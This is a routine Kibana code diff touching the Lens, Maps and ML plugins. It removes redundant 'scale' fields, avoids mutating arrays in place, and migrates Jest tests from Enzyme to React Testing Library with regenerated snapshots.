a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/static_value.tsx +++ b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/static_value.tsx @@ -130,7 +130,6 @@ export const staticValueOperation: OperationDefinition< dataType: 'number', operationType: 'static_value', isBucketed: false, - scale: 'ratio', params: { ...previousParams, value: String(previousParams.value ?? defaultValue) }, references: [], }; diff --git a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/terms/helpers.test.ts b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/terms/helpers.test.ts index f71e724ed5d25..6bc725f76049c 100644 --- a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/terms/helpers.test.ts +++ b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/terms/helpers.test.ts @@ -168,7 +168,6 @@ describe('getDisallowedTermsMessage()', () => { dataType: 'number', operationType: 'moving_average', isBucketed: false, - scale: 'ratio', references: ['col2'], timeShift: '3h', params: { @@ -435,7 +434,6 @@ describe('isSortableByColumn()', () => { operationType: 'differences', isBucketed: false, references: ['colX'], - scale: 'ratio', }, ]), 'col2' @@ -453,7 +451,6 @@ describe('isSortableByColumn()', () => { operationType: 'differences', isBucketed: false, references: ['col3'], - scale: 'ratio', }, { label: 'Average', @@ -477,7 +474,6 @@ describe('isSortableByColumn()', () => { dataType: 'number', operationType: 'static_value', isBucketed: false, - scale: 'ratio', params: { value: 100 }, references: [], } as ReferenceBasedIndexPatternColumn, @@ -497,7 +493,6 @@ describe('isSortableByColumn()', () => { operationType: 'percentile_rank', sourceField: 'bytes', isBucketed: false, - scale: 'ratio', params: { value: 1024.5 }, } as PercentileRanksIndexPatternColumn, ]), @@ -516,7 +511,6 @@ describe('isSortableByColumn()', () => { operationType: 'percentile_rank', sourceField: 'bytes', isBucketed: false, - scale: 'ratio', params: { value: 1024 }, } as PercentileRanksIndexPatternColumn, ]), diff --git a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/terms/index.tsx b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/terms/index.tsx index e7fddbda5203c..ee5a8f34bf012 100644 --- a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/terms/index.tsx +++ b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/terms/index.tsx @@ -137,6 +137,7 @@ export const termsOperation: OperationDefinition< }), priority: 3, // Higher than any metric input: 'field', + scale: () => 'ordinal', getCurrentFields: (targetColumn) => { return [targetColumn.sourceField, ...(targetColumn?.params?.secondaryFields ?? [])]; }, @@ -238,7 +239,6 @@ export const termsOperation: OperationDefinition< label: ofName(field.displayName), dataType: field.type as DataType, operationType: 'terms', - scale: 'ordinal', sourceField: field.name, isBucketed: true, params: { diff --git a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/terms/terms.test.tsx b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/terms/terms.test.tsx index 6a1104e249bb8..3e751fe60af02 100644 --- a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/terms/terms.test.tsx +++ b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/terms/terms.test.tsx @@ -315,7 +315,6 @@ describe('terms', () => { operationType: 'max', sourceField: 'price', isBucketed: false, - scale: 'ratio', }, orderBy: { type: 'custom', @@ -2423,7 +2422,6 @@ describe('terms', () => { dataType: 'number', operationType: 'median', isBucketed: false, - scale: 'ratio', sourceField: 'bytes', }, }, @@ -2487,7 +2485,6 @@ describe('terms', () => { dataType: 'number', operationType: 'median', isBucketed: false, - scale: 'ratio', sourceField: 'bytes', }, }, @@ -2555,7 +2552,6 @@ describe('terms', () => { dataType: 'number', operationType: 'median', isBucketed: false, - scale: 'ratio', sourceField: 'bytes', }, }, @@ -2637,7 +2633,6 @@ describe('terms', () => { dataType: 'number', operationType: 'count', isBucketed: false, - scale: 'ratio', sourceField: '___records___', }, }, @@ -2730,7 +2725,6 @@ describe('terms', () => { otherBucket: true, size: 5, }, - scale: 'ordinal', sourceField: 'bytes', } as TermsIndexPatternColumn, }, diff --git a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/layer_helpers.test.ts b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/layer_helpers.test.ts index a7aafc0c272d7..a13cb1ad9a358 100644 --- a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/layer_helpers.test.ts +++ b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/layer_helpers.test.ts @@ -166,7 +166,6 @@ describe('state_helpers', () => { isBucketed: false, label: 'Part of 5 + moving_average(sum(bytes), window=5)', operationType: 'sum' as const, - scale: 'ratio' as const, sourceField: 'bytes', }; const movingAvg = { @@ -1290,7 +1289,6 @@ describe('state_helpers', () => { dataType: 'number', operationType: 'formula', isBucketed: false, - scale: 'ratio', params: { isFormulaBroken: false, formula: 'average(bytes)' }, references: [], } as FormulaIndexPatternColumn, @@ -1319,7 +1317,6 @@ describe('state_helpers', () => { dataType: 'number', operationType: 'formula', isBucketed: false, - scale: 'ratio', params: { isFormulaBroken: false, formula: 'average(bytes)' }, references: [], } as FormulaIndexPatternColumn, @@ -1348,7 +1345,6 @@ describe('state_helpers', () => { dataType: 'number', operationType: 'formula', isBucketed: false, - scale: 'ratio', params: { isFormulaBroken: false, formula: 'average(bytes)' }, references: [], } as FormulaIndexPatternColumn, @@ -1376,7 +1372,6 @@ describe('state_helpers', () => { dataType: 'number', operationType: 'counter_rate', isBucketed: false, - scale: 'ratio', references: ['col2'], timeScale: 's', timeShift: '', @@ -1387,7 +1382,6 @@ describe('state_helpers', () => { label: 'Max of bytes', dataType: 'number', operationType: 'max', - scale: 'ratio', sourceField: indexPattern.fields[2].displayName, } as MaxIndexPatternColumn, }, @@ -2008,7 +2002,6 @@ describe('state_helpers', () => { isBucketed: false, label: 'formulaX0', operationType: 'sum' as const, - scale: 'ratio' as const, sourceField: 'bytes', }, formulaX1: { @@ -2307,7 +2300,6 @@ describe('state_helpers', () => { dataType: 'number', operationType: 'formula', isBucketed: false, - scale: 'ratio', params: { isFormulaBroken: false, formula: 'average(bytes)', @@ -2785,7 +2777,6 @@ describe('state_helpers', () => { dataType: 'number', operationType: 'count', isBucketed: false, - scale: 'ratio', sourceField: '___records___', customLabel: true, }, @@ -2795,7 +2786,6 @@ describe('state_helpers', () => { operationType: 'date_histogram', sourceField: 'timestamp', isBucketed: true, - scale: 'interval', params: { interval: 'auto', }, @@ -2805,7 +2795,6 @@ describe('state_helpers', () => { dataType: 'number', operationType: 'formula', isBucketed: false, - scale: 'ratio', params: { formula: 'count() + count()', isFormulaBroken: false, @@ -2817,7 +2806,6 @@ describe('state_helpers', () => { dataType: 'number', operationType: 'count', isBucketed: false, - scale: 'ratio', sourceField: '___records___', customLabel: true, }, @@ -2826,7 +2814,6 @@ describe('state_helpers', () => { dataType: 'number', operationType: 'math', isBucketed: false, - scale: 'ratio', params: { tinymathAst: { type: 'function', @@ -2959,7 +2946,6 @@ describe('state_helpers', () => { dataType: 'number', operationType: 'moving_average', isBucketed: false, - scale: 'ratio', references: ['col2'], timeScale: undefined, filter: undefined, @@ -3496,7 +3482,6 @@ describe('state_helpers', () => { isBucketed: false, label: 'formulaX0', operationType: 'sum' as const, - scale: 'ratio' as const, sourceField: 'bytes', }, formulaX1: { diff --git a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/utils.test.tsx b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/utils.test.tsx index 40d38cf208608..773af56279986 100644 --- a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/utils.test.tsx +++ b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/utils.test.tsx @@ -478,7 +478,6 @@ describe('indexpattern_datasource utils', () => { params: { emptyAsNull: true, }, - scale: 'ratio', sourceField: '___records___', }, '62f73507-09c4-4bf9-9e6f-a9692e348d94': { @@ -497,7 +496,6 @@ describe('indexpattern_datasource utils', () => { isFormulaBroken: false, }, references: ['62f73507-09c4-4bf9-9e6f-a9692e348d94X0'], - scale: 'ratio', // here's the issue - this should not be here sourceField: '___records___', }, diff --git a/x-pack/platform/plugins/shared/lens/public/react_embeddable/initializers/initialize_dashboard_services.ts b/x-pack/platform/plugins/shared/lens/public/react_embeddable/initializers/initialize_dashboard_services.ts index 46c6c2ff28b12..78df04b736e6c 100644 --- a/x-pack/platform/plugins/shared/lens/public/react_embeddable/initializers/initialize_dashboard_services.ts +++ b/x-pack/platform/plugins/shared/lens/public/react_embeddable/initializers/initialize_dashboard_services.ts @@ -78,9 +78,7 @@ export function initializeDashboardServices( ): DashboardServicesConfig { // For some legacy reason the title and description default value is picked differently // ( based on existing FTR tests ). - const defaultTitle$ = new BehaviorSubject( - initialState.title || internalApi.attributes$.getValue().title - ); + const defaultTitle$ = new BehaviorSubject(initialState.attributes.title); const defaultDescription$ = new BehaviorSubject( initialState.savedObjectId ? internalApi.attributes$.getValue().description || initialState.description diff --git a/x-pack/platform/plugins/shared/lens/public/visualizations/datatable/components/density_settings.test.tsx b/x-pack/platform/plugins/shared/lens/public/visualizations/datatable/components/density_settings.test.tsx index 51cdc82d75217..a899723db7c3f 100644 --- a/x-pack/platform/plugins/shared/lens/public/visualizations/datatable/components/density_settings.test.tsx +++ b/x-pack/platform/plugins/shared/lens/public/visualizations/datatable/components/density_settings.test.tsx @@ -31,9 +31,8 @@ describe('DensitySettings', () => { it('renders the density settings component with label', () => { renderDensitySettingsComponent(); - - expect(screen.getByLabelText('Density')).toBeInTheDocument(); expect(screen.getByTestId('lnsDensitySettings')).toBeInTheDocument(); + expect(screen.getByText('Density', { selector: 'label' })).toBeInTheDocument(); }); it('displays all three density options and selects the provided option', () => { diff --git a/x-pack/platform/plugins/shared/lens/public/visualizations/datatable/components/density_settings.tsx b/x-pack/platform/plugins/shared/lens/public/visualizations/datatable/components/density_settings.tsx index 6f38ac622ad85..e12ed193bf4fc 100644 --- a/x-pack/platform/plugins/shared/lens/public/visualizations/datatable/components/density_settings.tsx +++ b/x-pack/platform/plugins/shared/lens/public/visualizations/datatable/components/density_settings.tsx @@ -60,6 +60,7 @@ export const DensitySettings: React.FC = ({ dataGridDensit return ( { let customClient: ClusterClientMock; let coreStatus$: BehaviorSubject; let coreStatus: CoreStatus; - const customPollingFrequency = 100; + const customPollingFrequency = 1000; async function setElasticsearchStatus(esStatus: ServiceStatusLevel) { coreStatus$.next({ diff --git a/x-pack/platform/plugins/shared/maps/public/classes/sources/es_search_source/es_search_source.tsx b/x-pack/platform/plugins/shared/maps/public/classes/sources/es_search_source/es_search_source.tsx index 296447608d29e..402c6c3fd4a86 100644 --- a/x-pack/platform/plugins/shared/maps/public/classes/sources/es_search_source/es_search_source.tsx +++ b/x-pack/platform/plugins/shared/maps/public/classes/sources/es_search_source/es_search_source.tsx @@ -400,7 +400,7 @@ export class ESSearchSource extends AbstractESSource implements IMvtVectorSource entityBuckets.forEach((entityBucket: any) => { const hits = _.get(entityBucket, 'entityHits.hits.hits', []); // Reverse hits list so top documents by sort are drawn on top - allHits.push(...hits.reverse()); + allHits.push(...hits.slice().reverse()); if (isTotalHitsGreaterThan(entityBucket.entityHits.hits.total, hits.length)) { areTopHitsTrimmed = true; } @@ -489,7 +489,7 @@ export class ESSearchSource extends AbstractESSource implements IMvtVectorSource const isTimeExtentForTimeslice = requestMeta.timeslice !== undefined && !useRequestMetaWithoutTimeslice; return { - hits: resp.hits.hits.reverse(), // Reverse hits so top documents by sort are drawn on top + hits: resp.hits.hits.slice().reverse(), // Reverse hits so top documents by sort are drawn on top meta: { resultsCount: resp.hits.hits.length, areResultsTrimmed: isTotalHitsGreaterThan(resp.hits.total, resp.hits.hits.length), diff --git a/x-pack/platform/plugins/shared/ml/common/util/anomaly_description.ts b/x-pack/platform/plugins/shared/ml/common/util/anomaly_description.ts index 8469e127ebc94..3dde8e8ec716d 100644 --- a/x-pack/platform/plugins/shared/ml/common/util/anomaly_description.ts +++ b/x-pack/platform/plugins/shared/ml/common/util/anomaly_description.ts @@ -6,8 +6,7 @@ */ import { i18n } from '@kbn/i18n'; -import { capitalize } from 'lodash'; -import { getSeverity, type MlAnomaliesTableRecordExtended } from '@kbn/ml-anomaly-utils'; +import { type MlAnomaliesTableRecordExtended } from '@kbn/ml-anomaly-utils'; export function getAnomalyDescription(anomaly: MlAnomaliesTableRecordExtended): { anomalyDescription: string; @@ -16,9 +15,8 @@ export function getAnomalyDescription(anomaly: MlAnomaliesTableRecordExtended): const source = anomaly.source; let anomalyDescription = i18n.translate('xpack.ml.anomalyDescription.anomalyInLabel', { - defaultMessage: '{anomalySeverity} anomaly in {anomalyDetector}', + defaultMessage: 'Anomaly in {anomalyDetector}', values: { - anomalySeverity: capitalize(getSeverity(anomaly.severity).label), anomalyDetector: anomaly.detector, }, }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/components/annotations/annotation_description_list/__snapshots__/index.test.tsx.snap b/x-pack/platform/plugins/shared/ml/public/application/components/annotations/annotation_description_list/__snapshots__/index.test.tsx.snap index af099b8be528d..3023b50ba39cf 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/components/annotations/annotation_description_list/__snapshots__/index.test.tsx.snap +++ b/x-pack/platform/plugins/shared/ml/public/application/components/annotations/annotation_description_list/__snapshots__/index.test.tsx.snap @@ -1,46 +1,81 @@ // Jest Snapshot v1, https://goo.gl/fbAQLP exports[`AnnotationDescriptionList Initialization with annotation. 1`] = ` -", - "title": "Created by", - }, - Object { - "description": "January 2nd 2019, 08:18:17", - "title": "Last modified", - }, - Object { - "description": "", - "title": "Modified by", - }, - ] - } - type="column" -/> + data-type="column" + style="grid-template-columns: 3fr 7fr;" +> +
    + Job ID +
    +
    + farequote +
    +
    + Start +
    +
    + February 9th 2016, 13:56:17 +
    +
    + End +
    +
    + February 9th 2016, 18:19:28 +
    +
    + Created +
    +
    + January 2nd 2019, 08:18:17 +
    +
    + Created by +
    +
    + <user unknown> +
    +
    + Last modified +
    +
    + January 2nd 2019, 08:18:17 +
    +
    + Modified by +
    +
    + <user unknown> +
    + `; diff --git a/x-pack/platform/plugins/shared/ml/public/application/components/annotations/annotation_description_list/index.test.tsx b/x-pack/platform/plugins/shared/ml/public/application/components/annotations/annotation_description_list/index.test.tsx index 8c4b35d300576..bc644d79aca67 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/components/annotations/annotation_description_list/index.test.tsx +++ b/x-pack/platform/plugins/shared/ml/public/application/components/annotations/annotation_description_list/index.test.tsx @@ -9,21 +9,24 @@ import mockAnnotations from '../annotations_table/__mocks__/mock_annotations.jso import moment from 'moment-timezone'; import React from 'react'; -import { shallowWithIntl } from '@kbn/test-jest-helpers'; +import { renderWithI18n } from '@kbn/test-jest-helpers'; import { AnnotationDescriptionList } from '.'; +import type { Annotation } from '../../../../../common/types/annotations'; describe('AnnotationDescriptionList', () => { beforeEach(() => { moment.tz.setDefault('UTC'); }); + afterEach(() => { moment.tz.setDefault('Browser'); }); test('Initialization with annotation.', () => { - // @ts-expect-error mock data is too loosely typed - const wrapper = shallowWithIntl(); - expect(wrapper).toMatchSnapshot(); + const { container } = renderWithI18n( + + ); + expect(container.firstChild).toMatchSnapshot(); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/components/annotations/annotations_table/__snapshots__/annotations_table.test.js.snap b/x-pack/platform/plugins/shared/ml/public/application/components/annotations/annotations_table/__snapshots__/annotations_table.test.js.snap index dbd4f3a79a8e9..ce93005bf187b 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/components/annotations/annotations_table/__snapshots__/annotations_table.test.js.snap +++ b/x-pack/platform/plugins/shared/ml/public/application/components/annotations/annotations_table/__snapshots__/annotations_table.test.js.snap @@ -1,554 +1,44 @@ // Jest Snapshot v1, https://goo.gl/fbAQLP exports[`AnnotationsTable Initialization with annotations prop. 1`] = ` -", - "end_timestamp": 1455041968976, - "job_id": "farequote", - "modified_time": 1546417097181, - "modified_username": "", - "timestamp": 1455026177994, - "type": "annotation", - }, - ] - } - intl={ - Object { - "$t": [Function], - "defaultFormats": Object { - "date": Object { - "full": Object { - "day": "numeric", - "month": "long", - "weekday": "long", - "year": "numeric", - }, - "long": Object { - "day": "numeric", - "month": "long", - "year": "numeric", - }, - "medium": Object { - "day": "numeric", - "month": "short", - "year": "numeric", - }, - "short": Object { - "day": "numeric", - "month": "numeric", - "year": "2-digit", - }, - }, - "number": Object { - "currency": Object { - "style": "currency", - }, - "percent": Object { - "style": "percent", - }, - }, - "relative": Object { - "days": Object { - "style": "long", - }, - "hours": Object { - "style": "long", - }, - "minutes": Object { - "style": "long", - }, - "months": Object { - "style": "long", - }, - "seconds": Object { - "style": "long", - }, - "years": Object { - "style": "long", - }, - }, - "time": Object { - "full": Object { - "hour": "numeric", - "minute": "numeric", - "second": "numeric", - "timeZoneName": "short", - }, - "long": Object { - "hour": "numeric", - "minute": "numeric", - "second": "numeric", - "timeZoneName": "short", - }, - "medium": Object { - "hour": "numeric", - "minute": "numeric", - "second": "numeric", - }, - "short": Object { - "hour": "numeric", - "minute": "numeric", - }, - }, - }, - "defaultLocale": "en", - "fallbackOnEmptyString": true, - "formatDate": [Function], - "formatDateTimeRange": [Function], - "formatDateToParts": [Function], - "formatDisplayName": [Function], - "formatList": [Function], - "formatListToParts": [Function], - "formatMessage": [Function], - "formatNumber": [Function], - "formatNumberToParts": [Function], - "formatPlural": [Function], - "formatRelativeTime": [Function], - "formatTime": [Function], - "formatTimeToParts": [Function], - "formats": Object {}, - "formatters": Object { - "getDateTimeFormat": [Function], - "getDisplayNames": [Function], - "getListFormat": [Function], - "getMessageFormat": [Function], - "getNumberFormat": [Function], - "getPluralRules": [Function], - "getRelativeTimeFormat": [Function], - }, - "locale": "en", - "messages": Object {}, - "onError": [Function], - "onWarn": [Function], - "timeZone": undefined, - } - } - kibana={ - Object { - "notifications": Object { - "toasts": Object { - "danger": [Function], - "show": [Function], - "success": [Function], - "warning": [Function], - }, - }, - "overlays": Object { - "openFlyout": [Function], - "openModal": [Function], - }, - "services": Object {}, - } - } -/> +
    + Mocked table with 1 items +
    `; exports[`AnnotationsTable Initialization with job config prop. 1`] = ` - +
    +
    + +
    +
    `; exports[`AnnotationsTable Minimal initialization without props. 1`] = ` - + `; diff --git a/x-pack/platform/plugins/shared/ml/public/application/components/annotations/annotations_table/annotations_table.test.js b/x-pack/platform/plugins/shared/ml/public/application/components/annotations/annotations_table/annotations_table.test.js index 2a567231d3aca..48c928bfba636 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/components/annotations/annotations_table/annotations_table.test.js +++ b/x-pack/platform/plugins/shared/ml/public/application/components/annotations/annotations_table/annotations_table.test.js @@ -7,17 +7,25 @@ import jobConfig from '../../../../../common/types/__mocks__/job_config_farequote.json'; import mockAnnotations from './__mocks__/mock_annotations.json'; - -import { shallowWithIntl } from '@kbn/test-jest-helpers'; +import { AnnotationsTable } from './annotations_table'; import React from 'react'; +import { renderWithI18n } from '@kbn/test-jest-helpers'; -import { AnnotationsTable } from './annotations_table'; +const mockAnnotationUpdatesService = { + subscribe: jest.fn(), + unsubscribe: jest.fn(), +}; -jest.mock('../../../services/job_service', () => ({ - mlJobService: { +const mockReact = React; + +jest.mock('../../../services/job_service', () => { + const mockMlJobService = { getJob: jest.fn(), - }, -})); + }; + return { + mlJobServiceFactory: jest.fn().mockReturnValue(mockMlJobService), + }; +}); jest.mock('../../../services/ml_api_service', () => { const { of } = require('rxjs'); @@ -31,19 +39,59 @@ jest.mock('../../../services/ml_api_service', () => { }; }); +jest.mock('@elastic/eui', () => { + const original = jest.requireActual('@elastic/eui'); + return { + ...original, + EuiInMemoryTable: jest.fn().mockImplementation(({ items }) => { + return mockReact.createElement( + 'div', + { 'data-test-subj': 'mockEuiInMemoryTable' }, + `Mocked table with ${items?.length || 0} items` + ); + }), + }; +}); + +const mockKibanaContext = { + services: { + mlServices: { + mlApi: {}, + }, + }, +}; + +// Mock withKibana HOC +jest.mock('@kbn/kibana-react-plugin/public', () => { + return { + withKibana: (Component) => { + const EnhancedComponent = (props) => { + return mockReact.createElement(Component, { + ...props, + kibana: mockKibanaContext, + annotationUpdatesService: mockAnnotationUpdatesService, + }); + }; + return EnhancedComponent; + }, + }; +}); + describe('AnnotationsTable', () => { test('Minimal initialization without props.', () => { - const wrapper = shallowWithIntl(); - expect(wrapper).toMatchSnapshot(); + const { container } = renderWithI18n(); + expect(container.firstChild).toMatchSnapshot(); }); test('Initialization with job config prop.', () => { - const wrapper = shallowWithIntl(); - expect(wrapper).toMatchSnapshot(); + const { container } = renderWithI18n(); + expect(container.firstChild).toMatchSnapshot(); }); test('Initialization with annotations prop.', () => { - const wrapper = shallowWithIntl(); - expect(wrapper).toMatchSnapshot(); + const { container } = renderWithI18n( + + ); + expect(container.firstChild).toMatchSnapshot(); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/components/anomalies_table/anomaly_details.test.js b/x-pack/platform/plugins/shared/ml/public/application/components/anomalies_table/anomaly_details.test.js index 193c43631013a..f93f0f3e71667 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/components/anomalies_table/anomaly_details.test.js +++ b/x-pack/platform/plugins/shared/ml/public/application/components/anomalies_table/anomaly_details.test.js @@ -6,7 +6,8 @@ */ import React from 'react'; -import { mountWithIntl } from '@kbn/test-jest-helpers'; +import { renderWithI18n } from '@kbn/test-jest-helpers'; +import { screen } from '@testing-library/react'; import { AnomalyDetails } from './anomaly_details'; const props = { @@ -68,9 +69,11 @@ describe('AnomalyDetails', () => { ...props, tabIndex: 1, }; - const wrapper = mountWithIntl(); - expect(wrapper.containsMatchingElement(Details)).toBe(true); - expect(wrapper.containsMatchingElement(Category examples)).toBe(true); + renderWithI18n(); + + // Verify both tabs are displayed + expect(screen.getByText('Details')).toBeInTheDocument(); + expect(screen.getByText('Category examples')).toBeInTheDocument(); }); test('Renders with terms and regex when definition prop is not undefined', () => { @@ -83,11 +86,12 @@ describe('AnomalyDetails', () => { }, }; - const wrapper = mountWithIntl(); + renderWithI18n(); - expect(wrapper.containsMatchingElement(

    Regex

    )).toBe(true); - expect(wrapper.containsMatchingElement(

    Terms

    )).toBe(true); - expect(wrapper.contains(

    Examples

    )).toBe(true); + // Verify all headings are displayed + expect(screen.getByRole('heading', { name: 'Regex' })).toBeInTheDocument(); + expect(screen.getByRole('heading', { name: 'Terms' })).toBeInTheDocument(); + expect(screen.getByRole('heading', { name: 'Examples' })).toBeInTheDocument(); }); test('Renders only with examples when definition prop is undefined', () => { @@ -97,11 +101,12 @@ describe('AnomalyDetails', () => { definition: undefined, }; - const wrapper = mountWithIntl(); + renderWithI18n(); - expect(wrapper.containsMatchingElement(

    Regex

    )).toBe(false); - expect(wrapper.containsMatchingElement(

    Terms

    )).toBe(false); - expect(wrapper.contains(

    Examples

    )).toBe(false); + // Verify that none of the headings are displayed + expect(screen.queryByRole('heading', { name: 'Regex' })).not.toBeInTheDocument(); + expect(screen.queryByRole('heading', { name: 'Terms' })).not.toBeInTheDocument(); + expect(screen.queryByRole('heading', { name: 'Examples' })).not.toBeInTheDocument(); }); test('Renders only with terms when definition.regex is undefined', () => { @@ -113,11 +118,12 @@ describe('AnomalyDetails', () => { }, }; - const wrapper = mountWithIntl(); + renderWithI18n(); - expect(wrapper.containsMatchingElement(

    Regex

    )).toBe(false); - expect(wrapper.containsMatchingElement(

    Terms

    )).toBe(true); - expect(wrapper.contains(

    Examples

    )).toBe(true); + // Verify the correct headings are displayed + expect(screen.queryByRole('heading', { name: 'Regex' })).not.toBeInTheDocument(); + expect(screen.getByRole('heading', { name: 'Terms' })).toBeInTheDocument(); + expect(screen.getByRole('heading', { name: 'Examples' })).toBeInTheDocument(); }); test('Renders only with regex when definition.terms is undefined', () => { @@ -129,10 +135,11 @@ describe('AnomalyDetails', () => { }, }; - const wrapper = mountWithIntl(); + renderWithI18n(); - expect(wrapper.containsMatchingElement(

    Regex

    )).toBe(true); - expect(wrapper.containsMatchingElement(

    Terms

    )).toBe(false); - expect(wrapper.contains(

    Examples

    )).toBe(true); + // Verify the correct headings are displayed + expect(screen.getByRole('heading', { name: 'Regex' })).toBeInTheDocument(); + expect(screen.queryByRole('heading', { name: 'Terms' })).not.toBeInTheDocument(); + expect(screen.getByRole('heading', { name: 'Examples' })).toBeInTheDocument(); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/components/custom_urls/custom_url_editor/__snapshots__/list.test.tsx.snap b/x-pack/platform/plugins/shared/ml/public/application/components/custom_urls/custom_url_editor/__snapshots__/list.test.tsx.snap index b282465efc7d6..234c59d661a61 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/components/custom_urls/custom_url_editor/__snapshots__/list.test.tsx.snap +++ b/x-pack/platform/plugins/shared/ml/public/application/components/custom_urls/custom_url_editor/__snapshots__/list.test.tsx.snap @@ -4,389 +4,590 @@ exports[`CustomUrlList renders a list of custom URLs 1`] = `
    - - - - } + id="generated-id-row" > - - - - - - } +
    + +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    +
    - - - - + +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    - - } +
    - - - - + +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    - - - } - delay="regular" - disableScreenReaderOutput={false} - display="inlineBlock" - position="top" +
    +
    - - - - - + + +
    +
    +
    +
    - - - } - delay="regular" - disableScreenReaderOutput={false} - display="inlineBlock" - position="top" +
    +
    - - - - - - + + +
    +
    +
    +
    +
    - - - - } + id="generated-id-row" > - - - - - - } +
    + +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    +
    - - - - + +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    - - } +
    - - - - + +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    - - - } - delay="regular" - disableScreenReaderOutput={false} - display="inlineBlock" - position="top" +
    +
    - - - - - + + +
    +
    +
    +
    - - - } - delay="regular" - disableScreenReaderOutput={false} - display="inlineBlock" - position="top" +
    +
    - - - - - - + + +
    +
    +
    + +
    - - - - } + id="generated-id-row" > - - - - - - } +
    + +
    +
    +
    +
    + +
    +
    +
    +
    + +
    +
    - - - - + +
    +
    +
    +
    + +
    +
    +
    +
    + +
    - - } +
    - - - - + +
    +
    +
    +
    + +
    +
    +
    +
    + +
    - - - } - delay="regular" - disableScreenReaderOutput={false} - display="inlineBlock" - position="top" +
    +
    - - - - - + + +
    +
    +
    +
    - - - } - delay="regular" - disableScreenReaderOutput={false} - display="inlineBlock" - position="top" +
    +
    - - - - - - + + +
    +
    +
    + +
    `; diff --git a/x-pack/platform/plugins/shared/ml/public/application/components/custom_urls/custom_url_editor/list.test.tsx b/x-pack/platform/plugins/shared/ml/public/application/components/custom_urls/custom_url_editor/list.test.tsx index 6fe6da5ce1f64..140c44f599133 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/components/custom_urls/custom_url_editor/list.test.tsx +++ b/x-pack/platform/plugins/shared/ml/public/application/components/custom_urls/custom_url_editor/list.test.tsx @@ -6,11 +6,13 @@ */ import React from 'react'; -import { shallow } from 'enzyme'; +import { render } from '@testing-library/react'; +import userEvent from '@testing-library/user-event'; import type { Job } from '../../../../../common/types/anomaly_detection_jobs'; import type { CustomUrlListProps } from './list'; import { CustomUrlList } from './list'; +import { __IntlProvider as IntlProvider } from '@kbn/i18n-react'; jest.mock('../../../contexts/kibana'); @@ -53,27 +55,32 @@ function prepareTest(setCustomUrlsFn: jest.Mock) { dataViewListItems: [], }; - return shallow(); + return render( + + + + ); } describe('CustomUrlList', () => { - const setCustomUrls = jest.fn(() => {}); + const setCustomUrls = jest.fn(); test('renders a list of custom URLs', () => { - const wrapper = prepareTest(setCustomUrls); - expect(wrapper).toMatchSnapshot(); + const { container } = prepareTest(setCustomUrls); + expect(container.firstChild).toMatchSnapshot(); }); - test('switches custom URL field to textarea and calls setCustomUrls on change', () => { - const wrapper = prepareTest(setCustomUrls); - wrapper.update(); - const url1LabelInput = wrapper.find('[data-test-subj="mlJobEditCustomUrlInput_0"]'); - url1LabelInput.simulate('focus'); - wrapper.update(); - const url1LabelTextarea = wrapper.find('[data-test-subj="mlJobEditCustomUrlTextarea_0"]'); - expect(url1LabelTextarea).toBeDefined(); - url1LabelTextarea.simulate('change', { target: { value: 'Edit' } }); - wrapper.update(); + test('switches custom URL field to textarea and calls setCustomUrls on change', async () => { + const { getByTestId } = prepareTest(setCustomUrls); + const user = userEvent.setup(); + + const input = getByTestId('mlJobEditCustomUrlInput_0'); + await user.click(input); + + const textarea = getByTestId('mlJobEditCustomUrlTextarea_0'); + expect(textarea).toBeInTheDocument(); + + await user.type(textarea, 'Edit'); expect(setCustomUrls).toHaveBeenCalled(); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/components/custom_urls/custom_url_editor/list.tsx b/x-pack/platform/plugins/shared/ml/public/application/components/custom_urls/custom_url_editor/list.tsx index e76b55a6f2369..a24aa041b6c10 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/components/custom_urls/custom_url_editor/list.tsx +++ b/x-pack/platform/plugins/shared/ml/public/application/components/custom_urls/custom_url_editor/list.tsx @@ -211,8 +211,8 @@ export const CustomUrlList: FC = ({ : []; return ( - <> - + + = ({ - + ); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/components/entity_cell/entity_cell.test.tsx b/x-pack/platform/plugins/shared/ml/public/application/components/entity_cell/entity_cell.test.tsx index d726356624b35..606e45cfcb526 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/components/entity_cell/entity_cell.test.tsx +++ 